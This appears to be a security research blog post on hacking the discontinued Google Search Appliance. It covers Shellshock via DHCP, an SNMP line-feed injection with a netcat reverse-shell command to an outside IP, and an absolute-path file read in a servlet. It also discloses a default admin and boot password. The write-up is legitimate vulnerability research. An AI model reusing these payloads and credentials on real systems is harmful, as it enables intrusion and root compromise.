[REL] A Journey Into Hacking Google Search Appliance

English Version, 中文版本

TL;DR

• GSA Admin console post-authentication Remote Code Execution.
• GSA Search interface Path traversal.
• GSA uses Oracle’s Outside-in Technology to convert documents.
• Google Web services have some fixed URIs that provide information about the service itself.

Introduction

The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.

Appliance and Software Acquisition

We managed to purchase a device by searching “Google Search Appliance” on eBay.

Luckily, the first one we bought was a GSA with unerased data:

Even now, you can still find devices that are currently being sold.

On the other hand, The original public link of vGSA has been removed. http://dl.google.com/vgsa/vgsa_20090210.7z [removed] http://dl.google.com/vgsa/vgsa_20081028.7z [removed]

We found the file on BitTorrent magnet link:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Next, found the link to the old version software from Google Groups: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

The link was:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [removed]

And we can obtain all version number from: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

Guessing the File Naming Rules as install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

And write a shell script to attempt downloading software:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Including the information found through internet search, successfully retrieved the following file:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

Next, we began research on vGSA. By default, after importing the virtual machine, this system only provides a function for network configuration and doesn’t provide a system shell for operation or use. However, because the virtual machine operates within ours own environment, it is usually possible to obtain system permissions through the following methods:

• Directly altering unencrypted disk files
• Modifying the virtual machine memory
• Booting using CDs or disks from another operating system
• Exploiting known vulnerabilities
• Utilizing hard-coded administrator or system account passwords

The following image shows the network configuration screen:

CVE-2014-6271

When testing early Linux appliances and servers, especially those using the RedHat series operating system, there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception. Inserting option 114 in the DHCP server will be set in the environment variable, thereby triggering the vulnerability and executing any command.

The command attempted to be inserted is: useradd zzzzgsa. This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.

vGSA operation system observation

After successfully obtaining operating system privileges, we can observe the network environment, the running applications, and the file system. Here are some insights gained from observing the operating system environment:

• Version number is 5.2.0.G.27.
• Services are mainly written in C/C++, Java, Python.
• /export/hda3 seems to be the directory primarily used by the service.
• /etc/shadow contains the root account with password hash x███████████M.
• Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.
• /.gnupg contains ent_box_key public and private keys.
• /.gnupg contains google_license_key public key.
• /.ssh/authorized_keys contains two sets of public keys.
• /root/.ssh/authorized_keys contains one set of public keys.
• /root/.ssh/ contains two sets of SSH public and private keys.
• /root/.gnupg/ contains ent_box_key public and private keys.
• Oracle’s Outside In Technology is used to convert documents into HTML web pages.
• The Java runtime environment uses a Security Manager for protection.
• The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).
• The boot menu password in /etc/lilo.conf is cmBalx7.
• /export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.
• /export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin： M█████████████████████████w=:9██= google：w█████████████████████████o=:N██= ).

Executable programs with network services are as follows:

Despite the presence of so many services, most connections are blocked by iptables. The following are the iptables settings:

# Redirect privileged ports.# (we listen as nobody, which can't attach to low ports, so redirect to high ports)#-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

The following summarizes the actual accessible TCP attack surface:

And we found that the strings in file /export/hda3/versionmanager/google_key.symmetric can be used to decrypt the content of all install bundles! After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle, our research on vGSA has temporarily concluded.

But its lacks of memory protection might have some vulnerabilities that can be easily exploited.

GSA

Upon booting the installed appliance and attempting to change the boot sequence, we found that a password is required to enter the BIOS. Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:

Next, attempt to directly read the contents of the hard drive. If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly. We found that its hard drive uses SAS interface for transmission. Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:

After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED). It requires a password to unlock for access. OSSLab has a more detailed explanation here:

https://www.osslab.com.tw/ata-sed-security/ (chinese article)

There are several ways to continue trying when the hard drive cannot be directly accessed:

• Try to read the password in the BIOS EEPROM and change the boot order.

This method requires damage to the motherboard and carries some risk. This method is only used when no vulnerabilities can be found at the software level. More information: https://blog.cybercx.co.nz/bypassing-bios-password

• Use PCILeech to read, write memory to gain system privileges.

This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project：

https://github.com/ufrisk/pcileech

• Look for software vulnerabilities that can access the service

This method is simpler and more feasible.

LF injection in Admin Console

After logging into the admin console, we observed a feature for obtaining system information through SNMP. Additionally, this feature allows the insertion of custom strings.：

We tried classic LF injection here：

Inject sysContact with a LF and following command:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

After inserting the configuration value “extend”, we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.

Command executed successfully, and connected back with a shell.

Arbitrary File Reading

From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package. There are several http configurations located in /etc/httpd/conf.d/. In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers. When proxying two or more web servers, the path determination of Tomcat, ..;/, is an interesting test point. You can refer to the article written by our employee for more details:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

The point we’re interested in is dps, which doesn’t seem to be present in the old version of GSA. Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by com.documill.dps.connector.servlet.user.DPSDownloadServlet

<servlet><servlet-name>font</servlet-name><servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class><init-param><param-name>rootDirectory</param-name><param-value>work/fonts/</param-value></init-param></servlet><servlet-mapping><servlet-name>font</servlet-name><url-pattern>/font/*</url-pattern></servlet-mapping>

And looking into DPSDownloadServlet：

importcom.davisor.net.servlet.DownloadServlet;importcom.documill.dps.*;importjava.io.*;importjavax.servlet.ServletContext;publicclassDPSDownloadServletextendsDownloadServletimplementsDPSUserService{publicDPSDownloadServlet(){}protectedStringgetRealPath(ServletContextservletcontext,Strings)throwsIOException{DPSdps=DPSSingleton.getDPS();Filefile=dps.getHomeDir();if(file==null)thrownewFileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");elsereturn(newFile(file,s)).getAbsolutePath();}privatestaticfinallongserialVersionUID=0L;}

Step into com.davisor.net.servlet.DownloadServlet which extends DPSDownloadServlet：

protectedvoidservice(HttpServletRequesthttpservletrequest,HttpServletResponsehttpservletresponse)throwsServletException,IOException{Strings=httpservletrequest.getParameter(uriParameterName);if(!isValid(s)){httpservletresponse.sendError(400,(newStringBuilder()).append("Invalid file path: ").append(s).toString());return;}Filefile=rootDirectory.deriveFile(s);if(!file.isFile())httpservletresponse.sendError(404,(newStringBuilder()).append("No file:").append(s).toString());elseif(!file.canRead()){httpservletresponse.sendError(403,(newStringBuilder()).append("Unreadable file:").append(s).toString());}else{longl=file.length();if(l>0x7fffffffL){httpservletresponse.sendError(413,(newStringBuilder()).append("File too big:").append(l).toString());}else{Strings1=MIME.getTypeFromPath(file.getName(),"application/octet-stream");httpservletresponse.setContentLength((int)l);httpservletresponse.setContentType(s1);httpservletresponse.setDateHeader("Last-Modified",file.lastModified());if(cacheExpires>0L){httpservletresponse.setDateHeader("Expires",System.currentTimeMillis()+cacheExpires);httpservletresponse.setHeader("Cache-Control","public");}IO.copy(file,httpservletresponse.getOutputStream());}}}privatestaticbooleanisValid(Strings){return!Strings.isEmpty(s)&&!s.contains("..");}

You can see here that the only check is whether the string contains ... However, we can directly specify the absolute path and read any local file directly!

The old version of GSA does not have the /font endpoint, but /dps/admin/admin has a similar file reading issue. You can directly specify the logName for file reading. Refer to the diagram below for directly reading the account password from the system management interface:

After successfully cracking the hash, you can log in, enable the SNMP service, and combine it with the first vulnerability to execute arbitrary commands with root privileges.

Other findings and misc

Internal URIs in web services

In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol. Many of these services offer URLs such as /varz, /helpz, and /procz. We can access them either in the trusted network location defined for the service or using 127.0.0.1:

In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”, this parameter allows direct access to a certain functionality of the externally exposed admin console when included in the request header as “X-User-Ip”.

The /procz endpoint can even fetch executables and the shared libraries they are using:

Appliances list

Linux Kernel Version

Timeline

Conclusion

Although the GSA/vGSA is a product that has reached the end of its lifecycle, studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge, which we might not usually come into contact with. Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA, and this research has also left some goals for further study:

• The feedergate service listening on port 19900.
• Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.
• The convert_to_html seccomp sandbox

We will share when there are some research results, See you next time.

Other reference links

• https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
• https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/
• https://www.exploit-db.com/exploits/1333
• https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&context=jdfsl
• https://www.anandtech.com/show/2407
• https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ
• https://github.com/google/subpar
• https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/
• https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614
• https://nvd.nist.gov/vuln/detail/CVE-2014-0362